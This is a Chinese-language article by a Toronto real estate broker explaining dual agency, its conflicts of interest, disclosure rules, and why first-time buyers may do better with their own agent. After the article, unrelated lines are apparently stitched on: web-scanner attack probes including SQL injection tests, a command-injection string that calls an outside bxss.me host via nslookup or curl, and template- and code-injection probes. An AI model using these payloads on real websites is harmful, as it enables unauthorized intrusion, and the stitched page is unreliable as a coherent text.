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房地产敏感话题逐个谈(3) Dual Agency
Alvin Ning： 专业地产经纪（ Broker）， 2002年从业以来一直为行业优秀地产经纪。有丰富的房地产交易实践经验和知识积累。大型工程项目（香港新机场等）施工管理工作背景。在安省参与，组织累计数万平方呎的房屋翻建，翻新工程，有相当的房屋翻建，翻新施工管理经验。电话：416-930-3135 微信：Alvin_Ning Email：alvin@topremax.ca
Dual Agency 就是一个经纪在同一个房屋买卖交易中，同时代表买卖双方，既代表买家，为买家争取利益；又代表卖家，为卖家争取利益。这听取来好像是够矛盾的，一个人如果同时代表买卖双方，通常会有利益冲突，总有一方的利益得不到有效的保护。事实上因Dual Agency 引发的争执屡有发生。
但是Dual Agency 有其存在的社会土壤， 也不为法律所禁止。通常的情形是买家找到卖房经纪，提出要购买其所代理的房屋，卖房经纪因此成为双方的代理，由此产生Dual Agency 的代理关系。
为了保护买卖双方的利益，保护买卖双方不会因Dual Agency 而受到伤害，地产界对Dual Agency 的操作过程有着严格的规定。具体的规定就是在买卖交易开始时，买方和卖方都要明确地被告知这场交易是Dual Agency， 地产经纪要分别和买方和卖方签订书面的Dual Agency 代理协议；在交易过程中，除非明确授权，经纪不得将任何一方的信息通报给另一方。
这要求是黑纸白字写得清清楚楚，但具体执行起来就不那么简单了。一个经纪居中，既要撮合成交易，又要分别保护买卖双方的利益，谈何容易。因此，有些经验丰富的经纪总是避免出现Dual Agency的情形。
那为什么有买家喜欢去找上门，让卖房经纪也做买家的代理人呢？
大多数的情况是买家认为少一个经纪就会省一份佣金，房价也会因此而便宜一些。其实这只是想当然。俗话说”买的不如卖的精”，卖主对市道的了解通常会更透彻些。卖主卖房希望的成交价， 通常会接近市场价格。但到底是高于市场价格还是低于市场价格，第一次买房的买家通常是把握不准的。如果买主认可了卖主的价格，就算减去2，3千元的佣金，到底买的是贵是便宜也都难说，难保买主得到2，3 千元的便宜，还是买得贵了。
因此说来，对第一次买房的买家，最好是在自己的买房经纪的带领下，与卖方打交道。这样更有利于保障自身的利益。
当然，如果自己对房地产市场有足够的了解，在自己没有买方经纪的情况下，直接找到卖方经纪，通过Dual Agent 买房，也没有什么不对。这就像是”明知山有虎，偏向虎山行”，自己得有足够的胆识和实力才好。
（专为多伦多房东群 房东网供稿，转载请注明作者和出处）
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-1' OR 2+653-653-1=0+0+0+1 --
-1 OR 2+955-955-1=0+0+0+1
-1 OR 2+473-473-1=0+0+0+1 --
rAMYVp79
$(nslookup -q=cname hittchclatspxa6a3a.bxss.me||curl hittchclatspxa6a3a.bxss.me)
<th:t="${dfb}#foreach
xfs.bxss.me
'.print(md5(31337)).'
${9999297+10000151}
'+response.write(9446841*9203566)+'